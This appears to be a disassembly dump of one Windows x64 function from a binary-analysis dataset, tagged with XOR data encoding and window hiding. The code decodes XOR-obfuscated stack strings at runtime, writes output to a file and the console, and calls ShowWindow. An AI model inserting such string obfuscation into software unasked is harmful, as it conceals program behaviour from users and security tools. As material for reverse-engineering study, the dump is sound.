Function at 0x140035ca0
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1401c67c0]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor r12d, r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
lea rcx, [rbp + 0x120]
call fcn.14003b700
nop
lea rcx, [rbp + 0xb0]
call fcn.14002de40
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140035d40
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.14003c100
nop
lea rcx, [rbp + 0xb0]
call fcn.140004160
movdqa xmm0, xmmword [0x1401a7bf0]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
mov r14, 0xffffffffffffffff
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140035d90
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rdx, qword [rbp + 0x110]
sub rax, rdx
cmp rax, rcx
jb 0x140036646
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x49]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x90]
call fcn.140026cc0
nop
mov rdi, qword [rbp + 0xa0]
lea rbx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rbx, qword [rbp + 0x90]
call fcn.1401032b0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140005960
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf0]
call fcn.1400072c0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xf0], ecx
lea rax, [0x1401c68e0]
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140035f27
cmp eax, 1
setne bl
lea rcx, [rbp - 0x40]
call fcn.140004160
nop
lea rcx, [rbp + 0x90]
call fcn.1400041e0
test bl, bl
je 0x140035f36
lea rcx, [rbp + 0x100]
call fcn.1400041e0
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x160]
call fcn.140004160
lea rcx, [rbp + 0x140]
call fcn.1400041e0
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x140035ef7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140035ef7
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140103e40
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor bl, bl
test ecx, ecx
jne 0x1400364f3
jmp 0x140035e81
mov dword [rsp + 0x40], r12d
mov cl, 0x5a
mov word [rsp + 0x70], 0x5a
movsx edi, cl
movzx eax, di
xor ax, 0xc
mov word [rsp + 0x72], ax
movzx eax, di
xor ax, 0x2f
mov word [rsp + 0x74], ax
movzx ebx, di
xor bx, 0x36
mov word [rsp + 0x76], bx
movzx r10d, di
xor r10w, 0x34
mov word [rsp + 0x78], r10w
movzx r11d, di
xor r11w, 0x3f
mov word [rsp + 0x7a], r11w
movzx edx, di
xor dx, 0x28
mov word [rsp + 0x7c], dx
movzx r9d, di
xor r9w, 0x3b
mov word [rsp + 0x7e], r9w
movzx r8d, di
xor r8w, 0x38
mov word [rbp - 0x80], r8w
mov word [rbp - 0x7e], bx
mov word [rbp - 0x7c], r11w
movzx eax, di
xor ax, 0x1e
mov word [rbp - 0x7a], ax
mov word [rbp - 0x78], dx
movzx ecx, di
xor cx, 0x33
mov word [rbp - 0x76], cx
movzx eax, di
xor ax, 0x2c
mov word [rbp - 0x74], ax
mov word [rbp - 0x72], r11w
mov word [rbp - 0x70], dx
movzx eax, di
xor ax, 0x18
mov word [rbp - 0x6e], ax
mov word [rbp - 0x6c], bx
movzx eax, di
xor ax, 0x35
mov word [rbp - 0x6a], ax
movzx eax, di
xor ax, 0x39
mov word [rbp - 0x68], ax
movzx eax, di
xor ax, 0x31
mov word [rbp - 0x66], ax
mov word [rbp - 0x64], bx
mov word [rbp - 0x62], cx
movzx eax, di
xor ax, 0x29
mov word [rbp - 0x60], ax
movzx eax, di
xor ax, 0x2e
mov word [rbp - 0x5e], ax
xor di, 0x1f
mov word [rbp - 0x5c], di
mov word [rbp - 0x5a], r10w
mov word [rbp - 0x58], r9w
mov word [rbp - 0x56], r8w
mov word [rbp - 0x54], bx
mov word [rbp - 0x52], r11w
mov word [rbp - 0x50], r12w
lea rax, [rsp + 0x72]
mov qword [rbp + 0xf0], rax
mov cl, 0x6b
mov word [rbp - 0x20], WSAGetLastError
movsx esi, cl
movzx edi, si
xor di, 0x38
mov word [rbp - 0x1e], di
movzx eax, si
xor ax, 0x32
mov word [rbp - 0x1c], ax
mov word [rbp - 0x1a], di
movzx eax, si
xor ax, 0x3f
mov word [rbp - 0x18], ax
movzx eax, si
xor ax, 0x2e
mov word [rbp - 0x16], ax
movzx eax, si
xor ax, 0x26
mov word [rbp - 0x14], ax
movzx ebx, si
xor bx, 0x37
mov word [rbp - 0x12], bx
movzx r11d, si
xor r11w, 0x28
mov word [rbp - 0x10], r11w
movzx eax, si
xor ax, 0x1e
mov word [rbp - 0xe], ax
movzx r9d, si
xor r9w, 0x19
mov word [rbp - 0xc], r9w
mov word [rbp - 0xa], r9w
movzx edx, si
xor dx, 0xe
mov word [rbp - 8], dx
movzx r10d, si
xor r10w, 5
mov word [rbp - 6], r10w
movzx ecx, si
xor cx, 0x1f
mov word [rbp - 4], cx
mov word [rbp - 2], r11w
movzx r8d, si
xor r8w, 4
mov word [rbp], r8w
mov word [rbp + 2], r10w
mov word [rbp + 4], cx
mov word [rbp + 6], r9w
mov word [rbp + 8], r8w
movzx eax, si
xor ax, 7
mov word [rbp + 0xa], ax
mov word [rbp + 0xc], di
mov word [rbp + 0xe], dx
mov word [rbp + 0x10], cx
mov word [rbp + 0x12], bx
mov word [rbp + 0x14], r11w
mov word [rbp + 0x16], r8w
mov word [rbp + 0x18], r10w
mov word [rbp + 0x1a], cx
mov word [rbp + 0x1c], r9w
mov word [rbp + 0x1e], r8w
mov word [rbp + 0x20], ax
mov word [rbp + 0x22], bx
mov word [rbp + 0x24], r11w
movzx eax, si
xor ax, 0x22
mov word [rbp + 0x26], ax
mov word [rbp + 0x28], bx
mov word [rbp + 0x2a], r11w
mov word [rbp + 0x2c], r8w
mov word [rbp + 0x2e], r10w
movzx eax, si
xor ax, 0xd
mov word [rbp + 0x30], ax
movzx eax, si
xor ax, 2
mov word [rbp + 0x32], ax
xor si, 0xc
mov word [rbp + 0x34], si
mov word [rbp + 0x36], r12w
lea rax, [rbp - 0x1e]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x60]
call fcn.140034ea0
test al, al
je 0x14003663b
mov dword [rsp + 0x40], r12d
mov cl, 0x52
mov word [rsp + 0x48], 0x52
movsx ecx, cl
movzx eax, cx
xor ax, 0x17
mov word [rsp + 0x4a], ax
movzx eax, cx
xor ax, 0x3c
mov word [rsp + 0x4c], ax
movzx eax, cx
xor ax, 0x33
mov word [rsp + 0x4e], ax
movzx eax, cx
xor ax, 0x30
mov word [rsp + 0x50], ax
movzx eax, cx
xor ax, 0x3e
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x37
mov word [rsp + 0x54], ax
xor cx, 0x36
mov word [rsp + 0x56], cx
mov word [rsp + 0x58], r12w
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x20]
call fcn.140036660
lea r9, [rax + 2]
lea rcx, [rax + 4]
mov r8d, 0x2b
nop word [rax + rax]
movsx edx, byte [rax]
xor word [rcx - 2], dx
movsx edx, byte [rax]
xor word [rcx], dx
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140036270
mov word [r9 + 0xac], r12w
mov qword [rbp + 0xf0], r9
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.140034ea0
test al, al
je 0x14003663b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a7be0]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
inc r14
cmp byte [rax + r14], 0
jne 0x1400362e2
mov rax, qword [rbp + 0x110]
sub r15, rax
cmp r15, r14
jb 0x14003664c
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x49]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x40]
call fcn.140026cc0
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.140021320
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp - 0x40]
call fcn.1400041e0
cmp qword [rbp + 0x228], 0
je 0x14003650b
lea rdx, ds:[rsp + 0x60]
call fcn.140036870
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
mov byte [rax + 8], 0
lea rcx, [rbp + 0x1a0]
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1a0]
call fcn.140021280
mov edx, 5
mov rcx, qword [0x1401c86d0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xb0]
call fcn.140036890
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
mov byte [rax + 0x32], 0
call fcn.140004600
call fcn.14002de10
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, str.exists
call fcn.1400069c0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rbp + 0xb0]
call fcn.1400367f0
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
mov byte [rax + 0x3e], 0
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
nop dword [rax + rax]
call fcn.14002de10
int3
call fcn.140004c80
int3
call fcn.140004c80
int3